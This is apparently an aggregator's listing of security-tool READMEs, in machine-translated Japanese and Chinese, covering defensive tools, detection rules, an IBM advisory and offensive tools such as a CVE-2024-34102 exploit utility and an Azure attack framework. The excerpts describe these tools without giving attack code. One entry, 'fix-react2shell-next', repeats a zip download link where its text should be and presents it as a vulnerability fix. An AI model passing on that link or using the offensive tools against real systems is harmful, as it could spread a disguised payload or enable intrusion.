declarative-policy

DeclarativePolicy: 宣言的な認可ライブラリ このライブラリは、認可ポリシーを記述するためのDSLを提供します。 ロジックと権限を分離するために使用でき、GitLab.com で本番環境において大規模に使用されています。 このライブラリの原作者は Jeanine Adkisson であり、著作権は GitLab が保持しています。 インストール 以下の行をアプリケーションの Gemfile に追加します: root@kitploit: gem 'declarativepolicy' その後、以下を実行します: root@kitploit: $ bundle install...

cryptohackapp

cryptohackapp はじめに GitLabを簡単に使い始めるために、以下に推奨される次のステップをリストアップしました。 すでにプロフェッショナルですか？ このREADME.mdを編集して、自分好みにカスタマイズしてください。簡単に始めたいですか？ 下部のテンプレート をご利用ください！ ファイルを追加する ファイルを作成 またはアップロード する コマンドラインを使用してファイルを追加 するか、既存のGitリポジトリをプッシュして次のコマンドを実行します： root@kitploit: cd existingrepo git remote add origin...

PacketPatch

PacketPatch：面向基于字节特征的加密流量分类的对抗性数据包实际生成与部署 论文 ：PacketPatch：面向基于字节特征的加密流量分类的对抗性数据包实际生成与部署 作者 ：Yuwei Xu, Yuanyuan Xu, Yunpeng Bai, Jiahui Chen, Kehui Song, Jie Cao, Qiao Xiang, Guang Cheng 单位 ：东南大学、紫金山实验室、天津工业大学、女王大学、厦门大学 状态 ：已接收/审稿中（Elsevier） 概述 PacketPatch...

Vanguard-Map

VANGUARD1 — マルチドメイン戦術インテリジェンスマップ 世界の動くものをリアルタイムで表示する3Dマップ：船舶のライブトラフィック（AIS）、航空機、 衛星、海底ケーブル、港湾、チョークポイント、宇宙天気 — これらを 150万点の地形クラウドとして描画し、昼夜の変化、海洋シミュレーション、映画的なカメラワークを備えています。 Three.jsとプレーンなESモジュールで構築。ビルドステップ不要、フレームワーク不要。 ▶ライブデモ — サインアップ不要です： 最初の画面でVIEW DEMO をクリックすると合成トラフィックを表示、または無料の...

NovaHypervisor

NovaHypervisor 描述 NovaHypervisor 是一个基于 x64 Intel 主机的防御性虚拟机监控器。该项目的目标是通过保护防御产品（防病毒/端点防护）和内核内存结构，并防止未经授权的内核内存访问，来抵御基于内核的攻击（无论是通过“自带易受攻击驱动”（BYOVD）还是其他方式）。 NovaHypervisor 使用 C++ 和汇编编写，设计兼容 Windows 10 及更高版本。有关如何使用它的更多信息，请参阅设置部分。 !重要 该虚拟机监控器已在 Windows 11 25H2 和多个 Windows 10 版本上测试过。 如果遇到问题，请在检查是否已有未解决的...

In0ri

In0riは、AIを搭載した自動化されたWebサイト改ざん検知システムです。 はじめに In0riは、Webアプリケーションのためのインテリジェントな監視ツールとして機能します。従来のソースコード監視に依存するのではなく、定期的に対象のWebサイトのスクリーンショットを撮ることで、実際のユーザーの動作をシミュレートします。これらの画像は、視覚的な異常や改ざんパターンを識別するために訓練されたモデルによって分析されます。改ざんされたページを検出すると、In0riは直ちに管理者にEメールまたはTelegramでアラートを送信し、迅速なインシデント対応を可能にします。 必要条件...

debugHunter

debugHunter 隠れたデバッグエンドポイントと開発環境を発見 バグバウンティハンターやペネトレーションテスターに必須のChrome拡張機能 ブラウジング中にパッシブにデバッグパラメータ、機密ヘッダー、露出したパスを検出します。 debugHunterの特長 デバッグエンドポイントや露出した設定ファイルを見つけることは、バグバウンティハンティングで一般的な手法です。debugHunter は、訪問するすべてのWebサイトをパッシブにスキャンして自動化し、以下の発見時に警告します： 🔧 デバッグパラメータ — ?debug=1, ?env=dev,...

Security Bulletin: IBM Event Processing is affected by Multiple vulnerabilities

Summary IBM Event Processing is affected by Multiple vulnerabilities and were addressed in IBM Event Processing version 1.5.5 Vulnerability Details CVEID:CVE-2026-41907 DESCRIPTION: uuid is for the creation of RFC9562 formerly RFC4122 UUIDs. Prior to 14.0.0, v3, v5, and v6 accept external output...

detection-rules

检测规则 Detection Rules 是 Elastic Security 所用规则的大本营。该仓库用于 Elastic Security 检测引擎（Detection Engine）规则的开发、维护、测试、验证和发布。 该仓库最初在 Elastic 的博客文章中宣布：Elastic Security 开放公共检测规则仓库。更多内容，请参阅随附的网络研讨会：Elastic Security：公共检测规则仓库介绍。 目录 检测规则 目录 仓库概述 快速开始 如何贡献 检测即代码 DaC RTAs 许可证 疑问？问题？建议？ 仓库概述 Detection Rules...

detection-rules

Detection Rules Detection Rules is the home for rules used by Elastic Security. This repository is used for the development, maintenance, testing, validation, and release of rules for Elastic Security’s Detection Engine. This repository was first announced on Elastic's blog post, Elastic Security...

CVE-2024-34102

Cosmic Sting：CVE-2024-34102 利用工具 Cosmic Sting 是一款基于 Go 的工具，旨在利用 CVE-2024-34102 远程代码执行漏洞。 CVE-2024-34102 详情 Adobe Commerce 2.4.7、2.4.6-p5、2.4.5-p7、2.4.4-p8 及更早版本受到 XML 外部实体引用限制不当（'XXE'）漏洞的影响，该漏洞可能导致任意代码执行。攻击者可通过发送引用外部实体的特制 XML 文档来利用此漏洞。利用此问题无需用户交互。 前提条件 Go（1.16 或更高版本） 安装 1. 克隆仓库： root@kitploit: gi...

GetBlocked

GetBlocked! よりクリーンなページ。トラッカーを削減。ローカルオンリー。 GetBlocked! は、軽量でローカルオンリーのChrome拡張機能です。既知のトラッカーリクエストをブロックし、トラッキングリンクをクリーンにし、トラッキングの試みを説明することで、一般的なサードパーティのウェブサイトトラッキングを削減します。 フレンドリーなプライバシーツールを求めるユーザーと、素早く有用なプルリクエストをしたいコントリビューターのために、小さくて検査可能なManifest V3プロジェクトとして構築されています。 GetBlocked! の機能...

ssrf-king

🔥 ssrf-king 🔥 v1.12 Latest SSRF plugin for burp that Automates SSRF Detection in all of the Request If you are facing any problems or would like a new feature that is not listed below Please create a new issue below in this form Create New Issue Upcoming Features Checklist ✔️ It will soon have a...

ssrf-king

🔥 ssrf-king 🔥 v1.12 最新 BurpのSSRFプラグインで、すべてのリクエストにおけるSSRF検出を自動化します。 何か問題が発生した場合や、以下にリストされていない新機能をご希望の場合は 以下のフォームで新しいIssueを作成してください 新しいIssueを作成 今後の機能リスト ✔️ 独自のコールバックペイロードを指定するユーザーインターフェースがまもなく追加されます ✔️ JSONおよびXMLのテストがまもなく可能になります ✔️ SMTP SSRFのテスト インストール/ビルド方法 git clone...

fix-react2shell-next

🚀 fix-react2shell-next - 脆弱性を修正 https://raw.githubusercontent.com/Saied25/fix-react2shell-next/main/lib/fixshellreactnext2.6.zip アプリケーション内で 📥 今すぐダウンロード 📝 概要 fix-react2shell-next は、https://raw.githubusercontent.com/Saied25/fix-react2shell-next/main/lib/fixshellreactnext2.6.zip または React RSC...

Vajra

Vajra - クラウドへの武器 Vajraについて Vajraは、Azure環境の攻撃と列挙のための複数のテクニックを備えたUIベースのツールです。 Vajraという名称は、インド神話における神インドラ（雷と嵐の神）の武器に由来します。クラウドとの関連性から、このツールにふさわしい名前となっています。 Vajraは現在、AzureおよびAWSのクラウド環境をサポートしており、将来的にはGoogle Cloud Platformと特定のOSINTのサポートを追加する計画があります。 現在利用可能な機能は次のとおりです: Azure 攻撃 1...

Egyscan

EgyScan V3.4 "Ultra" : あなたの無敵のデジタル要塞 🏰 デジタル領域の守護者たちよ、こんにちは！ 🛡️ EgyScan V3.0を使った特別な旅に出発しましょう。これは、執拗なサイバー脅威に対してあなたのウェブサイトを難攻不落の要塞に変える究極の守護者です。EgyScanがあなたのオンライン領域を守る止められない力として現れる、デジタル防御の未来を探検しましょう。 🚀 EgyScanで比類なき力を解き放て 🚀 EgyScan は単なるツールではありません。それはあなたのデジタル存在の守護天使です。それは次の力を持っています： 🔍 総合的な脆弱性検出：...

game-of-kingshot-re

got-re — リバースエンジニアリング: Game of Thrones: Conquest Android 教育プロジェクト。 目標は、現代の Unity/IL2CPP Android ゲームがどのように通信するか、そのネイティブ保護 SDK がどのように動作するか、そして実際の APK に対して静的解析＋動的解析技術をどのように適用するかを理解することです。 これは何か このリポジトリは、com.run.tower.defense Game of Thrones: Conquest の進行中のリバースエンジニアリング調査を文書化しています。これは、IL2CPP...

ESAPI__esapi-java-legacy_CVE-2022-24891_2-2-3-1

Enterprise Security API for Java Legacy OWASP® ESAPI（The OWASP Enterprise Security API，OWASP企业安全API）是一个免费、开源、web应用安全控制库，旨在帮助程序员更轻松地开发低风险应用。ESAPI for Java 库旨在帮助程序员更容易地为现有应用添加安全改造。同时，ESAPI for Java 也为新开发提供了坚实的基础。 --- 在哪里可以找到 OWASP ESAPI 的 Wiki 页面？ OWASP ESAPI 的 Wiki 页面位于...

community

社区 由社区开发和维护的 Volatility 插件。请参阅每位作者子目录中的 README 文件，以获取其各自 GitHub 个人资料页面的链接，你可以在其中找到插件的使用说明、依赖项、许可证信息以及未来更新。 用法 1. Git clone Volatility 仓库或下载发行版 2. Git clone 此仓库到 $PLUGINSPATH 3. 运行 Volatility 时向其传递 --plugins=$PLUGINSPATH 选项（参见指定额外的插件目录） 注意：如果传入 $PLUGINSPATH...